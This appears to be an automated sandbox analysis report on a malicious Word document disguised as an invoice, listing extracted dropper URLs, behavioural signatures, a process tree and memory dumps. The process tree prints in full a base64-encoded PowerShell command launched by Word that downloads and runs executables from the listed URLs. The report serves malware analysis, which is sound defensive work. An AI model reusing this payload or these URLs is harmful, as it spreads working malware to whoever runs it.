Analysis
- max time kernel
149s - max time network
128s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
17/04/2026, 12:19
General
- Target Invoice%20G4%20969162.doc
- Size 230KB
- Sample260417-phpr9sdw4l
- SHA256 b9d2bc9624f1e81b007fd1d89170294eb6eb29c779f83f4e75576a0fa3fa421a
Malware Config
Extracted
-
ps1
-
exe.dropper
http://slotenservice-24-7-actief.nl/crjns/LODRmgim/
-
exe.dropper
https://zubk.net/wp-content/plugins/gallery-plugin/upload/files/vDXbZpIep/
-
exe.dropper
http://yourcomputerneeds.net/wp-admin/JXjqdXqT/
-
exe.dropper
http://lansec.com.br/rkz_wgz_2mw77xw/NxS/
-
exe.dropper
http://larrysmith.com/old-files/djrowrumw34o8s80545998/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Invoice%20G4%20969162.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABFAHQAeQBlAGEAegA5AD0AJwBZAHgAZQBwAGUAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBJAHQAYABZAGAAUABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABZAGEAZwBiAHgAZQB6ACAAPQAgACcAUQByAHAAbwAnADsAJABIAHgAbAAzAG0AMgA1AD0AJwBLAHIAMwA2AG4AegAyACcAOwAkAFcAcQA2AGsAOABoADYAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABZAGEAZwBiAHgAZQB6ACsAJwAuAGUAeABlACcAOwAkAFgAZQBpAGcAcwB6AG4APQAnAEIAcAB4ADYAdwB1AG8AJwA7ACQARgA4ADUAcAA2AGUAOQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAWgBnAHMANABzAHYAdAA9ACcAaAB0AHQAcAA6AC8ALwBzAGwAbwB0AGUAbgBzAGUAcgB2AGkAYwBlAC0AMgA0AC0ANwAtAGEAYwB0AGkAZQBmAC4AbgBsAC8AYwByAGoAbgBzAC8ATABPAEQAUgBtAGcAaQBtAC8AKgBoAHQAdABwAHMAOgAvAC8AegB1AGIAawAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHAAbAB1AGcAaQBuAHMALwBnAGEAbABsAGUAcgB5AC0AcABsAHUAZwBpAG4ALwB1AHAAbABvAGEAZAAvAGYAaQBsAGUAcwAvAHYARABYAGIAWgBwAEkAZQBwAC8AKgBoAHQAdABwADoALwAvAHkAbwB1AHIAYwBvAG0AcAB1AHQAZQByAG4AZQBlAGQAcwAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBYAGoAcQBkAFgAcQBUAC8AKgBoAHQAdABwADoALwAvAGwAYQBuAHMAZQBjAC4AYwBvAG0ALgBiAHIALwByAGsAegBfAHcAZwB6AF8AMgBtAHcANwA3AHgAdwAvAE4AeABTAC8AKgBoAHQAdABwADoALwAvAGwAYQByAHIAeQBzAG0AaQB0AGgALgBjAG8AbQAvAG8AbABkAC0AZgBpAGwAZQBzAC8AZABqAHIAbwB3AHIAdQBtAHcAMwA0AG8AOABzADgAMAA1ADQANQA5ADkAOAAvACcALgAiAFMAcABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBqAGsAdABpADgANAA9ACcAVgBxADMAcQA3AGsAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWgBiAGkAOAA1AHYAagAgAGkAbgAgACQAWgBnAHMANABzAHYAdAApAHsAdAByAHkAewAkAEYAOAA1AHAANgBlADkALgAiAGQATwBgAHcAYABOAGwAbwBhAGAAZABGAGkAbABFACIAKAAkAFoAYgBpADgANQB2AGoALAAgACQAVwBxADYAawA4AGgANgApADsAJABKAGUAMQB0AG8AbgA4AD0AJwBHAGIAegA4AGQAXwA3ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAVwBxADYAawA4AGgANgApAC4AIgBMAGAARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwA2ADgAOQAxACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAFcAcQA2AGsAOABoADYAKQA7ACQAVABrAGQAcABoAGMAYQA9ACcAWQBtAGMAOAA4AHAANAAnADsAYgByAGUAYQBrADsAJABGAHIAcgA1ADYAeABoAD0AJwBSAGsAaABoADcAZwA2ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAbgBlAF8AMABhAGcAPQAnAFMAaABwAGEANgB5AG4AJwA=1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
sist02.xsl
__PSScriptPolicyTest_0dy0mfvo.yij.ps1
CUSTOM.DIC
memory/1300-63-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-527-0x0000028869BD0000-0x0000028869CBA000-memory.dmp
memory/1300-6-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-7-0x00007FF7DE4D0000-0x00007FF7DE4E0000-memory.dmp
memory/1300-9-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-8-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-5-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-10-0x00007FF7DB930000-0x00007FF7DB940000-memory.dmp
memory/1300-11-0x00007FF7DB930000-0x00007FF7DB940000-memory.dmp
memory/1300-18-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-19-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-39-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-40-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-47-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-48-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-53-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-54-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-56-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-55-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-66-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-65-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-64-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-0-0x00007FF7DE4D0000-0x00007FF7DE4E0000-memory.dmp
memory/1300-1-0x00007FF7DE4D0000-0x00007FF7DE4E0000-memory.dmp
memory/1300-4-0x00007FF7DE4D0000-0x00007FF7DE4E0000-memory.dmp
memory/1300-88-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-554-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-89-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-90-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-91-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-92-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-93-0x0000028869BD0000-0x0000028869CBA000-memory.dmp
memory/1300-94-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-98-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-550-0x00007FF7DE4D0000-0x00007FF7DE4E0000-memory.dmp
memory/1300-553-0x0000028869BD0000-0x0000028869CBA000-memory.dmp
memory/1300-552-0x00007FF7DE4D0000-0x00007FF7DE4E0000-memory.dmp
memory/1300-105-0x00007FF81E440000-0x00007FF81E649000-memory.dmp
memory/1300-3-0x00007FF81E4E4000-0x00007FF81E4E5000-memory.dmp
memory/1300-522-0x0000028869BD0000-0x0000028869CBA000-memory.dmp
memory/1300-525-0x0000028869BD0000-0x0000028869CBA000-memory.dmp
memory/1300-2-0x00007FF7DE4D0000-0x00007FF7DE4E0000-memory.dmp
memory/1300-530-0x0000028869BD0000-0x0000028869CBA000-memory.dmp
memory/1300-549-0x00007FF7DE4D0000-0x00007FF7DE4E0000-memory.dmp
memory/1300-551-0x00007FF7DE4D0000-0x00007FF7DE4E0000-memory.dmp
memory/6044-104-0x0000019DF6E10000-0x0000019DF6E22000-memory.dmp
memory/6044-103-0x0000019DF6D20000-0x0000019DF6E0A000-memory.dmp
memory/6044-102-0x0000019DDCED0000-0x0000019DDCEDC000-memory.dmp
memory/6044-77-0x0000019DF6E60000-0x0000019DF6E82000-memory.dmp